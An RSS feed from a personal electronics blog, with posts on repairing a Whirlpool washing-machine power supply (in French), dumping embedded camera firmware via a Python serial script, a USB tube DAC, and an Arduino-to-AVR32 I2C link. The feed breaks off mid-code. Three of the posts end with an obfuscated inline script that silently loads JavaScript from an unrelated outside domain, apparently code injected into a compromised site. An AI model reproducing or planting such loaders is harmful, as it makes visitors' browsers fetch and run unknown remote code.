<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Electronics</title>
	<atom:link href="http://www.larsen-b.com/topics/electronics/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Réparation d&#8217;un lave linge Laden FL1281 (Whirlpool)</title>
		<link>http://www.larsen-b.com/Article/494.html</link>
		<comments>http://www.larsen-b.com/Article/494.html#comments</comments>
		<pubDate>Wed, 16 Apr 2014 23:00:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[lnk304pn]]></category>
		<category><![CDATA[whirlpool]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=494</guid>
		<description><![CDATA[J&#8217;ai décidé de rédigé cet article en français, une version anglaise devrait suivre .. Il y a peu, notre lave linge Laden (FL1281) est tombé en panne. Symptômes : Il ne s&#8217;allume plus du tout, aucun voyant de la facade &#8230; <a href="http://www.larsen-b.com/Article/494.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>J&#8217;ai décidé de rédigé cet article en français, une version anglaise devrait suivre ..</p>
<p>Il y a peu, notre lave linge Laden (FL1281) est tombé en panne. Symptômes : Il ne s&#8217;allume plus du tout, aucun voyant de la facade ne s&#8217;éclaire, et aucun bruit .. rien. Il vient tout juste d&#8217;avoir 3 ans. Il s&#8217;avère (je vais le découvrir par la suite) que c&#8217;est une panne connue et visiblement très courante.</p>
<p>Vu le prix de la bête, et son âge, je décide de l&#8217;ouvrir en me disant que cela ne doit pas être bien grave, un fusible, un fil coupé ? Il n&#8217;y a donc pas de fusible, étrange, en même temps la norme NF C 15-100 (bâtiment) dit que l&#8217;on doit avoir un fusible séparé pour le lave linge donc .. why not. Le 220v est bien présent jusqu&#8217;au bornier du panneau de commande.</p>
<div class="wp-caption alignnone" style="width: 650px"><img alt="" src="http://jkx.larsen-b.com/photos/blog/20140211_202945.sized.jpg" width="640" height="466" /><p class="wp-caption-text">Panneau frontal Whirlpool FL1281</p></div>
<p>En démontant le panneau on constate plusieurs choses : La carte électronique porte une référence spécifique Whirlpool; rien ne semble avoir brulé; l&#8217;arrivée du 220v est raccordé directement sur le sélecteur principal qui sert de bouton ON/OFF. Cela évite d&#8217;avoir une alimentation pour gérer cela, mais nécessite un sélecteur assez sécurisé (ca me choque un peu, et le sélecteur coute du coup, une blinde).</p>
<p>Après quelques tests de continuité, tout semble Ok, le sélecteur fonctionne, il faut donc suivre les pistes, à la sortie du sélecteur on trouve une grosse résistance de 3w nommée R020 (la bien aimée). Elle est HS, elle a donc fait office de fusible.</p>
<div class="wp-caption alignnone" style="width: 650px"><img alt="" src="http://jkx.larsen-b.com/photos/blog/20140213_191110.sized.jpg" width="640" height="430" /><p class="wp-caption-text">R020 + LNK304PN</p></div>
<p>Cette résistance sert en fait à abaisser la tension 220v (et faire fusible au besoin), avant d&#8217;attaquer un régulateur à découpage tout intégré 220v AC =&gt;12v DC : LNK304PN. Il y a très peu de régulateurs permettant de faire cela sur le marché avec si peu de composants externes. On notera que Whirlpool dans son extrème bienveillance a quand même pris la peine d&#8217;ajouter un tranformateur d&#8217;isolement en sortie du LNK304PN. Après un test rapide, je m&#8217;aperçois bien entendu que le LNK est HS. (court-circuit entre la patte D entrée et les pattes S)</p>
<div class="wp-caption alignnone" style="width: 650px"><img alt="" src="http://jkx.larsen-b.com/photos/blog/lnk304.sized.png" width="640" height="197" /><p class="wp-caption-text">Schéma d&#8217;utilisation typique d&#8217;un LNK304PN (datasheet)</p></div>
<p>Je commande donc les composants suivants chez <a href="http://radiospares-fr.rs-online.com/web/">RadioSpares</a> (les seuls à avoir des LNK304PN en stock). La résistance, la self (par sureté), le régulateur.</p>
<ul>
<li>Résistance oxyde métallique 33R 3W (code RS : 2142550)</li>
<li>LNK304PN, 12V dc, PDIP (code RS : 5254151</li>
<li>Inductance traversante Epcos, 470uH, 280mA (code RS : 1911169)</li>
</ul>
<p>Bilan 10.86 € livraison comprise pour 5 jeux complets. Deux jours plus tard, je change le tout, je remonte, ça repart! Banco, Madame est contente, et nous avons économiser 230€. En effet, après recherche, la carte électronique se trouve en SAV pour 145€, il faut à cela rajouter 50€ de frais de programmation. La carte est utilisée sur pleins de modèles de lave ligne Whirlpool, il faut donc programmé une petite EEPROM en fonction du modèle de la machine (Whirlpool, Laden ..) On ajoute à cela les 35€ de main d&#8217;oeuvre, et le compte est bon.</p>
<p><strong>Mais pourquoi ? </strong>Je me suis tout de suite demandé pourquoi avoir utilisé ce régulateur étrange qui semble être fragile. En fait, en cherchant sur Google, on se rend compte qu&#8217;il est utilisé sur quasiment tous les modèles de lave-linge, sèche-linge et lave-vaisselle récents de la marque et que visiblement je ne suis pas le seul à avoir des soucis : <a href="https://www.google.fr/search?q=whirlpool+R020&amp;tbm=isch">https://www.google.fr/search?q=whirlpool+R020&amp;tbm=isch !!</a></p>
<p>Ce composant a deux avantages majeurs. Il coute quasiment rien, moins de 1€ et remplace un transformateur classique coutant au moins 3 fois plus (et aussi bcp + gros). La référence est stable; il existe des tonnes de régulateurs chinois faisant la même chose (en plus complexe), mais ils ne sont pas pérennes.</p>
<p>En conclusion, en voulant gagner qques euros sur le prix d&#8217;un lave-linge à 400€, Whirlpool vend des produits dont la durabilité semble très aléatoire. Une simple surtension suffit à rendre le produit &#8220;bon pour la poubelle&#8221;. Il ne faut pas se tromper à 230€ la réparation, je pense que la majorité des produits finiront à la déchèterie au bout de qques années (3 c&#8217;est pas bcp quand même).  De mon côté, j&#8217;ai sourcé le 5 jeux de composants, j&#8217;ai donc encore droit à 4 pannes ;)</p>
<p><em><strong>Aimer la lessive ? non pas vraiment</strong></em></p>
<p>&nbsp;</p>
<p><strong>Update 1:</strong> Vu le nombre de commentaires, je ne suis clairement pas le seul à avoir eu des soucis avec ce lave-linge. J&#8217;attire votre attention sur le fait que la manipulation n&#8217;est tout de même pas si évidente qu&#8217;elle en a l&#8217;air. De nombreux lecteurs ont rencontré des problèmes pour dé-souder le LNK. En effet, les énormes pads thermiques au niveau des pattes n&#8217;aident pas du tout. Une solution simple et efficace consiste à couper les pattes du LNK avant de les dé-souder. Perso, j&#8217;ai utilisé une pince coupante, mais un bon coup de Dremel au milieu du composant fera également l&#8217;affaire.</p>
<p><strong>Update 2 : </strong>Au final mon lave-linge a rendu l&#8217;âme en début d&#8217;année. Il avait presque 5 ans.. Les paliers au niveau du moteur / tambour s&#8217;usent, et bien entendu, on ne peut pas les changer. Il faut donc changer tout le bloc tambour, ce qui n&#8217;est pas du tout viable économiquement.</p>
<p>Je ne connais pas la durée de vie des lave-linges WhirlPool, mais clairement ce Laden n&#8217;auront pas donné bcp de satisfaction. Nous avons décidé de changer pour un modèle Samsung, à voir dans le temps ce que cela donnera.</p>
<p>&nbsp;</p>
<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/494.html/feed</wfw:commentRss>
		<slash:comments>185</slash:comments>
		</item>
		<item>
		<title>Backup Linux embedded system firmware (Heden, Foscam, WRT..)</title>
		<link>http://www.larsen-b.com/Article/464.html</link>
		<comments>http://www.larsen-b.com/Article/464.html#comments</comments>
		<pubDate>Fri, 25 Oct 2013 23:51:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Bootloader]]></category>
		<category><![CDATA[Camera]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=464</guid>
		<description><![CDATA[This post talk about a cheap Heden clone outdoor camera but should work on most Linux embedded systems. Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let&#8217;s open it, find &#8230; <a href="http://www.larsen-b.com/Article/464.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This post talk about a cheap Heden clone outdoor camera but should work on most Linux embedded systems.</p>
<p>Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let&#8217;s open it, find a serial port and look what&#8217;s going on. I used the bus-pirate of course. I discovered that only the bootloader is working, the whole flash seems empty.I searched a long time, and tried severals stuffs, but I was unable to find the right firmware (in the right format) for his no-name camera.</p>
<div class="wp-caption alignnone" style="width: 650px"><img alt="" src="http://jkx.larsen-b.com/photos/blog/nestos_cam.sized.jpg" width="640" height="482" /><p class="wp-caption-text">NetOS opened camera</p></div>
<p>So my friend sent the camera back (warranty), and receive a new one. Now, he ask me to backup the flash memory, to fix the problem if this occurs in a few months again.</p>
<p>The main issue is : The camera has no backup web interface, no MTD dump shell binary (nor ftp, scp..), and it&#8217;s not really easy to compile the mtd tools because the system has no library installed (only a few static binary files). I&#8217;m unable to backup the firmware throught the OS. Let&#8217;s try see the bootloader.</p>
<p>The bootloader has no backup firmware features, but it can dump the memory content (flash included), and it has a builtin &#8220;ls&#8221; like command that display base memory segments. With the simple &#8220;d 0xAAAA&#8221;, you can dump the memory at 0xAAAA address. Fine, I decided to write a little script that walk the memory, dump the content and rebuild the binary file.</p>
<pre><span style="color: #444444;">#!/usr/bin/env python2</span>
<strong>import</strong> <span style="color: #2040a0;">serial</span>,<span style="color: #2040a0;">sys</span>,<span style="color: #2040a0;">string</span>

<span style="color: #2040a0;">log_file</span> <span>=</span> <span style="color: #2040a0;">None</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">ser_open</span><span>(</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">ser</span> <span>=</span> <span style="color: #2040a0;">serial</span>.<span style="color: #2040a0;">Serial</span><span>(</span><span style="color: #008000;">"/dev/ttyUSB0"</span>, <span style="color: #ff0000;">115200</span>, <span style="color: #2040a0;">timeout</span> <span>=</span> <span style="color: #ff0000;">0.1</span><span>)</span>
    <strong>return</strong> <span style="color: #2040a0;">ser</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">log</span><span>(</span><span style="color: #2040a0;">line</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">l</span><span>=</span><span style="color: #2040a0;">string</span>.<span style="color: #2040a0;">split</span><span>(</span><span style="color: #2040a0;">line</span>,<span style="color: #008000;">' '</span><span>)</span>
    <span style="color: #2040a0;">data</span><span>=</span><span style="color: #008000;">'%s%s%s%s'</span> <span>%</span> <span>(</span><span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">1</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">2</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">4</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">5</span><span>]</span><span>)</span>
    <strong>for</strong> <span style="color: #2040a0;">i</span> <strong>in</strong> <span style="color: #2040a0;">range</span><span>(</span><span style="color: #ff0000;">0</span>,<span style="color: #ff0000;">32</span>,<span style="color: #ff0000;">2</span><span>)</span><span>:</span>
        <span style="color: #2040a0;">octet</span> <span>=</span> <span style="color: #2040a0;">int</span><span>(</span><span style="color: #2040a0;">data</span><span>[</span><span style="color: #2040a0;">i</span><span>:</span><span style="color: #2040a0;">i</span><span>+</span><span style="color: #ff0000;">2</span><span>]</span>,<span style="color: #ff0000;">16</span><span>)</span>
        <span style="color: #2040a0;">log_file</span>.<span style="color: #2040a0;">write</span><span>(</span><span style="color: #008000;">'%s'</span> <span>%</span> <span style="color: #2040a0;">chr</span><span>(</span><span style="color: #2040a0;">octet</span><span>)</span><span>)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">dump</span><span>(</span><span style="color: #2040a0;">ser</span>,<span style="color: #2040a0;">addr</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">s</span> <span>=</span> <span style="color: #008000;">"d -s 0x%x<span style="color: #77dd77;">\n</span>"</span> <span>%</span> <span style="color: #2040a0;">addr</span>
    <span style="color: #2040a0;">ser</span>.<span style="color: #2040a0;">write</span><span>(</span><span style="color: #2040a0;">s</span><span>)</span>

    <span style="color: #2040a0;">l</span><span>=</span><span>[</span><span>]</span>
    <span style="color: #2040a0;">i</span> <span>=</span> <span style="color: #ff0000;">0</span>
    <strong>while</strong> <span style="color: #ff0000;">1</span><span>:</span>
        <span style="color: #2040a0;">data</span> <span>=</span> <span style="color: #2040a0;">ser</span>.<span style="color: #2040a0;">read</span><span>(</span><span>)</span>
        <strong>if</strong> <strong>not</strong> <span style="color: #2040a0;">data</span><span>:</span><strong>break</strong>
        <span style="color: #2040a0;">l</span>.<span style="color: #2040a0;">append</span><span>(</span><span style="color: #2040a0;">data</span><span>)</span>
        <strong>if</strong> <span>(</span><span style="color: #2040a0;">data</span><span>=</span><span>=</span><span style="color: #008000;">'\r'</span><span>)</span><span>:</span>
            <span style="color: #2040a0;">s</span> <span>=</span> <span style="color: #2040a0;">string</span>.<span style="color: #2040a0;">join</span><span>(</span><span style="color: #2040a0;">l</span>,<span style="color: #008000;">''</span><span>)</span>
            <strong>if</strong> <span>(</span><span style="color: #2040a0;">s</span><span>[</span><span style="color: #ff0000;">0</span><span>]</span> <span>=</span><span>=</span> <span style="color: #008000;">'['</span><span>)</span><span>:</span>
                <span style="color: #2040a0;">log</span><span>(</span><span style="color: #2040a0;">s</span><span>)</span>
            <span style="color: #2040a0;">l</span><span>=</span><span>[</span><span>]</span>

<span style="color: #2040a0;">d</span> <span>=</span> <span style="color: #2040a0;">ser_open</span><span>(</span><span>)</span>
<span style="color: #2040a0;">log_file</span> <span>=</span> <span style="color: #2040a0;">open</span><span>(</span><span style="color: #008000;">'log.raw'</span>,<span style="color: #008000;">'a'</span><span>)</span>

<span style="color: #2040a0;">img_start</span> <span>=</span> <span style="color: #ff0000;">0x7F0E0000</span>
<span style="color: #2040a0;">img_size</span> <span>=</span> <span style="color: #ff0000;">0xC3C00</span>

<strong>for</strong> <span style="color: #2040a0;">i</span> <strong>in</strong> <span style="color: #2040a0;">range</span><span>(</span><span style="color: #2040a0;">img_start</span>,<span style="color: #2040a0;">img_start</span><span>+</span><span style="color: #2040a0;">img_size</span><span>+</span><span style="color: #ff0000;">0x100</span>,<span style="color: #ff0000;">0x100</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">dump</span><span>(</span><span style="color: #2040a0;">d</span>,<span style="color: #2040a0;">i</span><span>)</span>
    <strong>print</strong> <span style="color: #008000;">"0x%x"</span><span>%</span> <span style="color: #2040a0;">i</span></pre>
<p>As you can see, this code isn&#8217;t really clean and well written, but it give me a nice binary file for a given offset and size. Simply dump the memory through serial port, do a little parsing, and store the result in binary file named log.raw.</p>
<p>I used this to backup the camera linux.bin file, and the romfs.img. Of course you can use this to dump the whole memory too. To check if the files are Ok, you can try to g-unzip the Linux Kernel, and mount the romfs.</p>
<p>To check the romfs, I simply mount it with : <em>mount -t roomfs -o loop log.raw ./log </em></p>
<p>So now, I have a backup for this no-name camera, and next time the whole memory will drop, I will try to restore it ;).</p>
<p>This method seems really crude (and dirty), but it work without too much trouble, and can be tweaked for a lot of systems. It should work on every Linux embedded system with an dump memory feature in the bootloader (quite every one).</p>
<p><strong>Enjoy memory ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cheap DIY USB Tube DAC</title>
		<link>http://www.larsen-b.com/Article/414.html</link>
		<comments>http://www.larsen-b.com/Article/414.html#comments</comments>
		<pubDate>Fri, 20 Apr 2012 17:30:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[dac]]></category>
		<category><![CDATA[tube]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=414</guid>
		<description><![CDATA[Due to lot of homework, I haven&#8217;t found a lot of time to have fun electronic for some times. I decided to change this by building an cheap USB DAC with tube output. There is a bunch of USB DAC &#8230; <a href="http://www.larsen-b.com/Article/414.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Due to lot of homework, I haven&#8217;t found a lot of time to have fun electronic for some times. I decided to change this by building an cheap USB DAC with tube output.</p>
<p>There is a bunch of USB DAC on the market right now, but most of them aren&#8217;t really top quality. As I don&#8217;t want to loose some time to build the USB part, I decided to buy a USB DAC Kit. After a little search on Ebay I found this one :</p>
<p><img class="alignnone" title="Ebay USB DAC" src="http://jkx.larsen-b.com/photos/blog/ebay_usb_dac.sized.jpg" alt="" width="640" height="541" /></p>
<p>This kit sports an CS8416+CS4398 combot plus an NE5532 output buffer, but as I want it to be a little audiophile, I will drop the NE5532 in favor of an simple tube preamp.</p>
<p>For the tube part, I think I will go for an 12AX7 or something similar. I really think 6SN7 are better, but this tube are overkill for an preamp I think.</p>
<p>Update, some links for the tube output :</p>
<ul>
<li><a href="http://www.shine7.com/audio/12ax7_pre.htm">http://www.shine7.com/audio/12ax7_pre.htm</a></li>
<li><a href="http://diyaudioprojects.com/Tubes/12AX7_Preamp/">http://diyaudioprojects.com/Tubes/12AX7_Preamp/</a></li>
</ul>
<p><strong>/Enjoy tube sound</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/414.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Connect NGW100 Linux (AVR32) to Arduino with I2C</title>
		<link>http://www.larsen-b.com/Article/398.html</link>
		<comments>http://www.larsen-b.com/Article/398.html#comments</comments>
		<pubDate>Sun, 08 Jan 2012 01:39:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[I2C]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=398</guid>
		<description><![CDATA[For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a NGW100 board. I decided to try to use the I2C bus. I have several I2C &#8230; <a href="http://www.larsen-b.com/Article/398.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a <a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=4102">NGW100</a> board. I decided to try to use the <a href="http://en.wikipedia.org/wiki/I%C2%B2C">I2C</a> bus. I have several I2C stuff on the desk, but nothing really fun and I don&#8217;t want to solder a lot of stuff, and spend a lot of time on this. I decided to use a Arduino board as a I2C slave device and plug this to the NGW100 board.</p>
<p><strong>First step: S</strong>imply use the Arduino IDE and the <a href="http://arduino.cc/en/Reference/Wire">Wire lib</a>. I use an <a href="http://www.seeedstudio.com/blog/tag/seeeduino/">Seeeduino</a> because I need an Arduino that works at 3.3v level. Here the code :</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;Wire.h&gt;</span></strong></span>
<strong>void</strong> <span style="color: #2040a0;">setup</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">4</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>                <span style="color: #444444;">// join i2c bus with address #4</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onReceive</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onRequest</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">38400</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>           <span style="color: #444444;">// start serial for output</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Boot Ok"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">loop</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{ </strong></span><span style="color: #2040a0;">delay</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">100</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span><span style="color: #4444ff;"> </span><span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">(</span><strong>int</strong> <span style="color: #2040a0;">howMany</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <strong>char</strong> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">NULL</span><span style="color: #4444ff;">;</span>
  <strong>while</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">available</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #444444;">// loop through all</span>
  <span style="color: #4444ff;"><strong>{</strong></span>
    <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">receive</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// receive byte as a character</span>
    <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">print</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>         <span style="color: #444444;">// print the character</span>
  <span style="color: #4444ff;"><strong>}</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"==="</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"read"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">send</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Hello world from Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>To test the Arduino I used a <a href="http://dangerousprototypes.com/docs/Bus_Pirate">Bus Pirate</a>, this is quite simple and fun, here a little snipset of my initial test with the BP (note the string are different). The I2C slave is at the 0&#215;4 address (check the setup()).</p>
<pre>Searching I2C address space. Found devices at:
0x08(0x04 W) 0x09(0x04 R) 

Read content from the device, 'ABCD'
I2C&gt;[0x09 rrrrrr]
I2C START BIT
WRITE: 0x09 ACK
READ: 0x41
READ:  ACK 0x42
READ:  ACK 0x43
READ:  ACK 0x44
READ:  ACK 0xFF
READ:  ACK 0xFF
NACK
I2C STOP BIT
I2C&gt;

send content to the device 'ABC'
I2C&gt;[0x08 0x41 0x42 0x43]
I2C START BIT
WRITE: 0x08 ACK
WRITE: 0x41 ACK
WRITE: 0x42 ACK
WRITE: 0x43 ACK
I2C STOP BIT</pre>
<p><strong>Second step: </strong> Plug the Arduino to the NGW100. I used the wrapping technique. Simply connect SDA, SCL, and GND. (NGW100 pinouts : SDA=&gt;9, SCL=&gt;10, GND=&gt;2)</p>
<p><img style="border: 0px initial initial;" title="NGW100-AVR32 to Arduino" src="http://jkx.larsen-b.com/photos/blog/2012_01_05_13_57_32_001.sized.jpg" alt="" width="640" height="480" /></p>
<p>On Linux, load the I2C-GPIO kernel module. On <a href="http://openwrt.org">OpenWRT</a> (used on the NGW100), simply load the <strong>kmod</strong>-<strong>i2c-gpio</strong> package.</p>
<p><strong>Final step:</strong> If everything is Ok, we can now test the communication. I used a small piece of C code to deal with I2C on Linux.</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;string.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdio.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdlib.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;linux/i2c-dev.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;sys/ioctl.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;fcntl.h&gt;</span></strong></span>

<strong>void</strong> <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><strong>void</strong><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
    <strong>int</strong> <span style="color: #2040a0;">file</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">filename</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">40</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">addr</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0x4</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">buf</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">32</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #ff0000;">0</span><span style="color: #4444ff;"><strong>}</strong></span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #008000;">"/dev/i2c-0"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #2040a0;">O_RDWR</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to open the bus."</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ioctl</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">I2C_SLAVE</span>,<span style="color: #2040a0;">addr</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to acquire bus access and/or talk to slave.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
